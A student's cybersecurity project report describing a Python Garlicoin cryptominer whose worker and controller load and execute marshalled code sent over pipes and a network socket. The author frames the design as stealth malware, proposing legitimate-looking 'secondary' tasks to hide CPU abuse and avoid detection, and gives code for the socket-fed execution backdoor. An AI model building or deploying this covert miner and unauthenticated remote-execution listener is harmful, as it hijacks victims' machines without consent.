Dragoș Mihăiță Iftimie

Report of cybersecurity project

Prof. Michele Colajanni

What I did:

I developed a Python program, designed with a componend-based mindset, that is capable of mining PoW cryptocurrencies and executing arbitrary, as much as the interpreter can, uploaded code.
The whole program cannot be considered ready yet, but the components that compose it may be reused.

At the actual state the cryptominer is composed by the following components:
1) StratumClient: it handles the Stratum communication protocol in order to regurarly receive work from a stratum server; (far from definitive)
2) HardWorker: it both exploits the CPU as resource and runs external code;
3) Controller: initializes and manages the components. (the glue)

Mining process:

The stratum client is a process that handles the communication with a stratum pool server.
Whenever the mining difficulty or nextBlockData change, through multiprocessing queues, it sends them to the controller.
Here, it manipulates the difficulty to obtain the target and the block data to obtain the header where the nonce will be appended.
I've chosen to separate that manipulation from the stratum component because after that we obtain the raw, network protocol indipendent, ready to work data with a 2^32 (in most common cases assigned to one worker) research space possibilities, while before it has a potential of 2^32 * 2^32 (see extranonce2).

At this point the HardWorker, which is a process for performances reasons, receives it and tries to find a solution.

Here we can see some of the code used in the HardWorker:

```
#C
bool isValid(uint32_t nonce[1], const uint32_t target[8], uint32_t netheader[19]){
        uint32_t hashed[8],header[20];
        for(int i = 0;i < 19;i++){
                header[i] = netheader[i];
        }
        (*nonce)++;
        le32enc(&header[19],nonce[0]);
        allium_hash(hashed,header);
        return fulltest(hashed,target);
}
```

This is an iteration through the researh space written in C for performances reasons.
It executes allium, the hash function of Garlicoin; I took its code from tpruvot/cpuminer-multi on GitHub.

```
#Python
    self.higherLimit:int = [2 ** 32]
    self.lowerLimit:int = [-1]

    self.nonce = (c_uint64 * 1)()
    self.target = (c_uint32 * 8)()
    self.netheader = (c_uint32 * 19)()

    self.nonce[:] = self.lowerLimit[:]

    self.garlic = CDLL('./cLib/isValid.so',mode=RTLD_GLOBAL).isValid
```

This is the needed state in order to work and call the C function.

Does it work? Yes, an indipendent pool accepted my shares.

MCBXLrDyApa5Qz2eY2KsXJw4Kuq2A2XTVA

This is the Garlicoin address I’ve used.

Arbitrary execution and more:

At this point I could not wait for Godot anymore.
So I started doing weird stuff with Python objects, specifically the HardWorker.

```
 FunctionType(loads(self.control.recv()), {}, "")(self)
```

This single line of code receives bytes from a channel (a pipe in the HardWorker case), loads and cast it as a function and executes it by giving “self” as argument i.e. execute external functions like methods.
Mix this with an “go towards everything is self” paradigm and numerous opportunities (or problems) arise.
I’ve also added the same thing in the controller and made it a server that listens for external functions.

I also wanted the HardWorker to not be tied to crypto-mining, but to be easily configurable to work on different scenarios (e.g. password cracking or other CPU-bound activities).

Additionally, I wanted it to be able to execute harmless or even useful functions when the primary (or non-legit) function is not supposed to run.
I think that this may reduce the possibility of being caugth and opens the opportuinity of hiding the CPU-exploiting functions among legit functions.

Let’s take a look at his main loop:

```
#CPU part (main loop)

        if self.execute == self.primary and self.stopprimary(self):
            self.execute = self.secondary
        if self.execute(self) == 1:
            try:
                self.output.send(self.getprimarysolution(self))
            except ValueError as closed:
                self.autoclean(self)
```

Here is obvious that the primary function has the priority; indeed everything may (and the secondary function should) be contained inside the execute function, nevertheless the code explicity takes into account some of its needs.

For example it never makes sense to keep executing the primary function when stopprimary is True, or keep working and infos about the non-legit function when the controller closed the output channel;

The following code must be defined in order to let the CPU part work as a miner (it's not part of the main loop):

```
        self.secondary = lambda arg1 : 0
        self.secondary.__name__ = 'donothing'
        self.secondaryinput = lambda arg1: 0
        self.primary = lambda self: self.garlic(self.nonce,self.target,self.netheader)
        self.primary.__name__ = "garlicoin step"
        self.stopprimary = lambda self: self.nonce[:] == self.higherLimit[:]
        self.getprimarysolution = lambda self: self.nonce[:]
    def autoclean(self, placeholder):
        del self.target
        self.listen.remove(self.input)
        self.input.close()
        del self.netheader
        del self.myprimary
        del self.primary
        gc.collect()
```

```
#IO part (main loop)
            self.ready_read = wait(self.listen,0)
            if len(self.ready_read) > 0:
                if self.control in self.ready_read:
                    try:
                        FunctionType(loads(self.control.recv()), {}, "")(self)
                    except Exception as e:
                        self.monitor.send(e)
                if self.input in self.ready_read:
                    self.inp = self.input.recv()
                    if self.isprimaryinput(self):
                        self.primaryinput(self)
                    else:
                        self.secondaryinput(self)
```

Here we can see how after a work iteration the components polls for available IO.
If an external function arrived, execute it as a method.
If an input arrived, check which function is supposed to receive it and call it.

Here's the code that updates the mining state when an input arrives (not part of the main loop):

```
    def primaryinput(self, placeholder):
        if len(self.inp) == 19:
            self.netheader[:] = self.inp[:]
            if self.autostart:
                self.execute = self.primary
                self.nonce[:] = self.lowerLimit[:]
        if len(self.inp) == 8:
            self.target[:] = self.inp[:]
```

Ok, now it’s time for some monkey patching

As I said before the controller is open for connections through sockets.
If from a simple python interpreter we connect with a socket to the controller and send the locally defined function getnonce:

```
    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect((connectaddr,connectport))
    sock.send(marshal.dumps(sendnoncecontr.__code__))
```

then we may receive something like 596527; the function arrives to the controller, which executes it by asking the hard worker and sending the answer back.

This is the locally defined function:

```
def sendnonceC(self):
    def sendnonceHW(self1):
        self1.monitor.send(self1.nonce[:])
    import marshal
    self.controlWW.send(marshal.dumps(sendnonceHW.__code__))
    r = self.monitorWR.recv()[0].to_bytes(4,'little')
    self.c.send(r)
```

The controller sends throwgh its control pipe with the hard worker (controlWW) the function sendnonceHW.
Then waits for the response after the execution of sendnonceHW by the hard worker, converts it in bytes and send to our interpreter through the socket.

Another example may be:

```
def addsendhs(self):
    def sendhs(self1):
        def foo1(self2):
            self2.sendnonce(self2)
        import marshal
        import time
        self.controlWW.send(marshal.dumps(foo1.__code__))
        now = self.monitorWR.recv()[0]
        time.sleep(1)
        self.controlWW.send(marshal.dumps(foo1.__code__))
        hs = self.monitorWR.recv()[0] - now
        self.c.send(hs.to_bytes(4,'little'))
    self.sendhs = sendhs

def geths(self):
    self.sendhs(self)
```

Our interpreter sends:

```
    sock.send(marshal.dumps(addsendhs.__code__))
```

and the controller adds into his memory a function that if executed sends back to us the hashes per second of the worker.

At last, for example, our interpreter may send the locally defined function:

```
    sock.send(marshal.dumps(shutdown.__code__))
```